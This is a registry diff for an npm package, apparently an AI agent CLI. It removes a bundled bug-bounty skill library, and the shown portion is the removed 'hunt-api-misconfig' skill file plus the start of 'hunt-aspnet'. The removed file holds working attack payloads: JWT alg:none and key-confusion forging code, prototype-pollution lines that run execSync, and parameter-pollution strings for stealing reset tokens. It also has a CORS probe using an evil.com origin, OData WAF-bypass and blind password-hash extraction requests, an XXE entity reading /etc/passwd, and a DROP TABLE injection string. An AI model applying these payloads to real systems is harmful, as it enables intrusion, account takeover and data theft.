@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,268 +0,0 @@
1
- ---
2
- name: hunt-api-misconfig
3
- description: "Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto)."
4
- sources: hackerone_public, owasp_api_top10_2023, public_research
5
- report_count: 0
6
- ---
7
-
8
- ## 12. API SECURITY MISCONFIGURATION
9
-
10
- ### Mass Assignment
11
- ```javascript
12
- User.update(req.body) // body has {"role": "admin"} → privilege escalation
13
- ```
14
-
15
- ### JWT None Algorithm
16
- ```python
17
- header = {"alg": "none", "typ": "JWT"}
18
- payload = {"sub": 1, "role": "admin"}
19
- token = base64(header) + "." + base64(payload) + "." # no signature
20
- ```
21
-
22
- ### JWT RS256 → HS256 Algorithm Confusion
23
- ```python
24
- # Get server's public key from /.well-known/jwks.json
25
- # Sign token with public key as HMAC secret
26
- token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
27
- # Server uses RS256 key as HS256 secret → accepts it
28
- ```
29
-
30
- ### Prototype Pollution
31
- ```javascript
32
- // Server-side — Node.js merge without protection
33
- {"__proto__": {"admin": true}}
34
- {"constructor": {"prototype": {"admin": true}}}
35
- // URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
36
- ```
37
-
38
- For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
39
- JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
40
- or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype
41
- state reaches a later operation.
42
-
43
- Hunt sequence:
44
-
45
- 1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.
46
- Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
47
- 2. **Pollute harmless marker properties.** Send variants such as:
48
-
49
- ```
50
- {"__proto__":{"polluted":"pp-1337"}}
51
- {"constructor":{"prototype":{"polluted":"pp-1337"}}}
52
- __proto__[polluted]=pp-1337
53
- constructor[prototype][polluted]=pp-1337
54
- ```
55
-
56
- 3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render
57
- endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,
58
- server errors mentioning object properties, changed job output, template/render errors, or command/job
59
- behavior changes.
60
- 4. **Escalate only through learned sinks.** Candidate properties depend on the sink:
61
-
62
- ```
63
- {"__proto__":{"json spaces":10}}
64
- {"__proto__":{"status":555}}
65
- {"__proto__":{"isAdmin":true,"role":"admin"}}
66
- {"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
67
- {"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
68
- ```
69
-
70
- 5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,
71
- export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only
72
- when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
73
-
74
- ### Server-Side Parameter Pollution in Backend URL / REST URL Construction
75
-
76
- Use this when a frontend form or endpoint appears to call a server-side API on your behalf
77
- (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not
78
- ordinary client-side query pollution. The server takes your input and interpolates it into a backend
79
- URL path or query string, such as:
80
-
81
- ```
82
- /api/internal/users/<username>/field/email
83
- /api/users/<id>
84
- /api/users?username=<username>&field=email
85
- ```
86
-
87
- Hunt sequence:
88
-
89
- 1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look
90
- for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends.
91
- If there is a reset/account form, test known usernames first to learn the normal success/error shape.
92
- 2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input:
93
- `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`.
94
- Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned
95
- fields mean your value is being interpreted by a server-side URL router, not merely validated as text.
96
- 3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the
97
- referenced account, the input is in a REST path segment. Then try appending route fragments such as
98
- `/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest
99
- of the original backend path with `#` or `%23` when the backend URL parser honors fragments.
100
- 4. **Discover API documentation from errors.** When an error says to consult the API definition, probe
101
- common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`,
102
- `/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the
103
- spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources
104
- and field names.
105
- 5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a
106
- sensitive field such as a reset token or secret for another user, then using that token in the normal
107
- application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing
108
- feedback.
109
-
110
- Payload patterns to try, adapted to the observed parameter name:
111
-
112
- ```
113
- username=administrator%23
114
- username=administrator%3f
115
- username=administrator%2f..%2fvictimuser
116
- username=administrator/../victimuser
117
- username=administrator/field/email%23
118
- username=administrator/field/id%23
119
- username=administrator/field/passwordResetToken%23
120
- username=administrator%2ffield%2fpasswordResetToken%23
121
- ```
122
-
123
- ### CORS Exploitation
124
- ```bash
125
- # Test: reflected origin + credentials
126
- curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
127
- # If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
128
- # → CRITICAL: attacker reads credentialed responses
129
- ```
130
-
131
- ---
132
-
133
- ## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)
134
-
135
- OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,** and any ASP.NET WebAPI project using `Microsoft.AspNetCore.OData`. It exposes SQL-shaped query operators (`eq`, `ne`, `and`, `or`, `substringof`, `startswith`, `tolower`, `concat`, `replace`) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
136
-
137
- ### Attack class 1 — Boolean-logic blind extraction via `startswith` / `substringof`
138
-
139
- ```
140
- GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
141
- GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
142
- ```
143
-
144
- Iterate prefix character-by-character; cardinality of the response (or `@odata.count`) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no `'`/`--` characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals **password hashes, names, emails, addresses, financial data** in Dec 2023; Microsoft patched May 2024. ([Stratus Security writeup](https://www.stratussecurity.com/post/critical-microsoft-365-vulnerability), [The Hacker News coverage Jan 2025](https://thehackernews.com/2025/01/severe-security-flaws-patched-in.html))
145
-
146
- ### Attack class 2 — `$orderby` / `$select` column-disclosure bypass
147
-
148
- ```
149
- GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
150
- ```
151
-
152
- `$orderby` accepts column names the user has no `$select` permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (`$select`) but NOT on `$orderby` / `$filter` — same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
153
-
154
- ### Attack class 3 — `$batch` multipart/mixed → per-request WAF signatures miss sub-operations
155
-
156
- ```
157
- POST /odata/$batch Content-Type: multipart/mixed; boundary=batch_1
158
- --batch_1
159
- Content-Type: application/http
160
- GET Users?$filter=1 eq 1 HTTP/1.1
161
- --batch_1--
162
- ```
163
-
164
- WAFs that scan only the outer request body (or that don't natively parse `multipart/mixed`) skip every inner operation. ModSecurity refused `multipart/mixed` historically ([Issue #3296](https://github.com/owasp-modsecurity/ModSecurity/issues/3296)); F5 added native batch parsing only in Advanced WAF v16.1 ([F5 SAP-Fiori advisory](https://www.f5.com/company/blog/securing-sap-fiori-http-batched-requests-odata-with-f5-advance)). The 2025 WAFFLED paper ([arXiv 2503.10846](https://arxiv.org/html/2503.10846v1)) generalises the parsing-discrepancy bypass class across 5 major WAFs.
165
-
166
- ### Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass
167
-
168
- ```
169
- GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201 # URL-encoded $
170
- GET /api?%2524filter=... # double-encoded
171
- GET /Users(1)/$value # path-segment style
172
- ```
173
-
174
- Mixed-case operators (`Eq`, `EQ`) and obscure ones (`substringof`, `tolower`, `concat`, `replace`) look unlike `SELECT`/`UNION` so SQLi-keyword signatures never fire. WAFs that key on the literal string `$filter` see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. ([OWASP Double Encoding](https://owasp.org/www-community/Double_Encoding))
175
-
176
- ### Attack class 5 — OData → real SQLi when library passes filter raw
177
-
178
- ```
179
- $filter=Name eq 'x'); DROP TABLE Users--'
180
- ```
181
-
182
- Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in [OData/WebApi Issue #2352](https://github.com/OData/WebApi/issues/2352). The XML-deserialisation variant: **CVE-2019-17554** (Apache Olingo OData 4.0.0-4.6.0, XXE via `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>` in `application/xml` body, CVSS 7.5). DoS variant: **CVE-2018-8269** (Microsoft.Data.OData deep `$filter` recursion → stack overflow).
183
-
184
- ### Bonus — `$expand` navigation-property IDOR
185
-
186
- ```
187
- GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
188
- ```
189
-
190
- Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak ([UpGuard writeup](https://www.upguard.com/breaches/power-apps)).
191
-
192
- ### Detection heuristics
193
-
194
- - Response headers: `OData-Version: 4.0` / `DataServiceVersion: 3.0`; URL paths `/_api/`, `/odata/`, `/_vti_bin/`, `/api/data/v9.x/`, `/sap/opu/odata/`.
195
- - Try `$metadata` → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.
196
- - Probe each entity set with `$filter=1 eq 1`, `$top=1`, `$select=*`, then `$orderby=<column-you-shouldnt-see>` for column-level ACL.
197
- - Send the same payload three ways (`$filter=`, `%24filter=`, `%2524filter=`) and through `$batch` — divergent WAF behaviour confirms the parser-discrepancy bug.
198
-
199
- ---
200
-
201
- ## NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)
202
-
203
- NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (`/swagger`, `/swagger/v1/swagger.json`, `/swagger/index.html`) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.
204
-
205
- ### Default discovery paths (cross-references `web2-recon`)
206
-
207
- ```
208
- # NSwag / Swashbuckle (ASP.NET Core)
209
- /swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json
210
- /swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs
211
- /nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
212
-
213
- # Generic OpenAPI
214
- /openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
215
-
216
- # Java / Spring (Springfox / springdoc)
217
- /v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
218
-
219
- # Python (FastAPI / Connexion)
220
- /docs, /redoc, /openapi.json
221
-
222
- # Quarkus
223
- /q/openapi, /q/swagger-ui
224
-
225
- # GraphQL adjacent
226
- /graphql, /graphiql, /playground, /altair, /voyager
227
- ```
228
-
229
- Tools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`.
230
-
231
- ### Attack chains
232
-
233
- **A. Spec disclosure → mass IDOR / BOLA.** Spec lists every `GET /api/v1/users/{userId}/...`. `jq '.paths | keys' swagger.json` → swap `{userId}` for victim's ID via Autorize/`ffuf -mc 200`. Common case: spec leaks `/api/admin/users/{id}/reset-password` documented but missing `[Authorize(Roles="Admin")]` on the controller — low-priv ATO.
234
-
235
- **B. Spec disclosure → mass-assignment payload construction.** `components.schemas.UserUpdateDto` enumerates every model field including `isAdmin`, `emailVerified`, `tenantId`, `role`. Attacker copies the schema verbatim into `PATCH /users/me` and adds the privileged fields. Server's `[FromBody]` binder accepts them when DTOs aren't split into read-vs-write models.
236
-
237
- **C. Hidden endpoints.** Specs document `/internal/*`, `/debug/*`, `/v0/*`, `/legacy/*` routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.
238
-
239
- **D. Swagger UI configUrl takeover.** Swagger UI loads its config from `?configUrl=`. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the *legitimate* Swagger UI with `?configUrl=https://evil/spec.json`. Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. ([HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025](https://hackerone.com/reports/3124103))
240
-
241
- ### Disclosed cases
242
-
243
- - **CVE-2018-25031** — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
244
- - **Swagger UI DOM XSS (3.14.1 → 3.38.0)** — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser ([Vidoc Security Lab writeup](https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers), [PortSwigger Daily Swig](https://portswigger.net/daily-swig/widespread-swagger-ui-library-vulnerability-leads-to-dom-xss-attacks)). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
245
- - **HackerOne #3124103** — U.S. Department of Defense, Swagger UI Injection (May 2025).
246
- - **HackerOne #2534300** — Ionity GmbH, HTML injection in Swagger UI.
247
- - **HackerOne #1656650** — Reflected XSS via Swagger UI `url=` parameter.
248
- - **CloudSEK threat-intel (2024)** — actors abuse exposed `swagger-ui` to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. ([CloudSEK report](https://www.cloudsek.com/threatintelligence/threat-actors-use-exposed-swagger-ui-to-misuse-a-companys-endpoints-and-target-customers))
249
- - **CVE-2023-38337** — `rswag` (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.
250
-
251
- ### Detection checklist
252
-
253
- 1. httpx-probe every path above across the full subdomain set; flag 200 with `Content-Type: application/json` AND body matching `"swagger"` or `"openapi"`.
254
- 2. For every hit: `jq '.paths | keys' swagger.json` → feed to kiterunner / Autorize.
255
- 3. `jq '.components.schemas' swagger.json` → mass-assignment field candidates.
256
- 4. Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
257
- 5. Test `?configUrl=` and `?url=` parameter handling on every Swagger UI hit.
258
-
259
- ---
260
-
261
- ## Related Skills & Chains
262
-
263
- - **`hunt-ato`** — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment + `hunt-ato` → `role=admin` set on signup → ATO via privileged role on first login.
264
- - **`hunt-auth-bypass`** — JWT flaws collapse the entire auth layer. Chain primitive: JWT `alg=none` + `hunt-auth-bypass` → impersonate any user by setting `sub` to victim ID, no signature required.
265
- - **`hunt-rce`** — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach `child_process.spawn`. Chain primitive: Prototype pollution (`__proto__.shell=true`) + `hunt-rce` (Node.js gadget chain) → RCE on the API node.
266
- - **`hunt-subdomain`** — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist `*.target.com` + subdomain takeover → attacker-controlled origin reads credentialed API responses.
267
- - **`security-arsenal`** — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (`is_admin`, `role`, `verified`, `permissions`, `org_id`, `tenant_id`).
268
- - **`triage-validation`** — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.
@@ -1,277 +0,0 @@
1
- ---
2
- name: hunt-aspnet
3
- description: Hunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
4
- sources: github, authorized-engagement
5
- report_count: 1
6
- ---
7
-
8
- ## Crown Jewel Targets
9
-
10
